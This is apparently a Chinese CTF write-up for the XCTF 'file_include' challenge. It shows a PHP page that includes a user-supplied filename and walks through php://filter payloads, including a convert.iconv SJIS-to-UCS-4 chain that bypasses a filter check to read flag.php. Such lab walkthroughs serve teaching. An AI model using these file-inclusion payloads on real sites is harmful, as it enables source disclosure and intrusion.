当前位置: 首页 > backend >正文

XCTF-web-file_include

在这里插入图片描述

解析

<?php
highlight_file(__FILE__);        // 高亮显示当前PHP文件源代码
include("./check.php");          // 包含检查文件(可能包含安全过滤逻辑)if(isset($_GET['filename'])) {   // 检查是否传入filename参数$filename = $_GET['filename'];  // 获取用户传入的文件名include($filename);           // 直接包含该文件
}
?>

?filename=php://filter/convert.base64-encode/resource=./check.php,并没有得到flag

在这里插入图片描述

尝试绕过
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=index.php
php://filter是PHP的一种输入/输出流过滤器,用于对资源进行转换操作。
convert.iconv.SJIS*.UCS - 4*表示使用iconv转换,将编码从SJIS相关编码转换为UCS - 4相关编码。
resource=index.php表示要处理的资源是“index.php”文件
将恶意代码用 SJIS 编码后,再通过 convert.iconv 转换为 UCS-4 编码
*通配符可能绕过了过滤规则中对特定编码格式的检查
URL 中的双斜杠 // 可能被某些解析器处理为单斜杠,绕过路径检查

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=./check.php但是并没有得到flag

在这里插入图片描述

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=./flag.php得到flag

在这里插入图片描述

http://www.xdnf.cn/news/9551.html

相关文章:

  • 智慧财务系统:企业数字化转型的核心引擎
  • [yolov11改进系列]基于yolov11引入混合标准卷积与深度可分离卷积GSConv用于轻量化网络的python源码+训练源码
  • Android获取设备信息
  • github actions入门指南
  • .NET 9正式发布,亮点是.NET Aspire和AI
  • Linux `vi/vim` 编辑器深度解析与高阶应用指南
  • Golang | 搜索哨兵-对接分布式gRPC服务
  • vue修改配置文件.env.development不生效
  • 2025-05-28 学习记录--Python-文件
  • 对象检测新纪元:D-FINE 模型超越 YOLO,带来更精准的实时检测!
  • 6.2 Q1|哈尔滨医科大学GBD发文 | 1990 年至 2019 年颗粒物污染导致的中风全球趋势和负担
  • Python后端开发实战:从0到1搭建高可用API服务
  • 医疗器械企业批记录数字化转型实操指南
  • LeetCode hot100-6
  • C# 基于 Windows 系统与 Visual Studio 2017 的 Messenger 消息传递机制详解:发布-订阅模式实现
  • Python 包管理工具 uv的一些常用指令
  • AWS 创建VPC 并且添加权限控制
  • CloudCompare——点云统计滤波
  • element ui 表格 勾选复选框后点击分页不保存之前的数据问题
  • Service Worker介绍及应用(实现Web Push机制)
  • 【AI学习笔记】Coze平台实现生成小红书热门多图笔记
  • Metasploit工具使用详解(上)丨小白WEB安全入门笔记
  • 电子电路:什么是C类放大器?
  • ⚡️ Linux 系统安装与配置 Git
  • Windows SMB压缩在低速或者高延迟环境可以帮助提供性能增益
  • Linux驱动学习笔记(十)
  • vue-04(深入了解 props:验证、类型和默认值)
  • Django实现文件上传
  • Docker-compose 编排lnmp(dockerfile) 完成Wordpress
  • [ERR] switch_core_session.c:2697 Invalid Application callcenter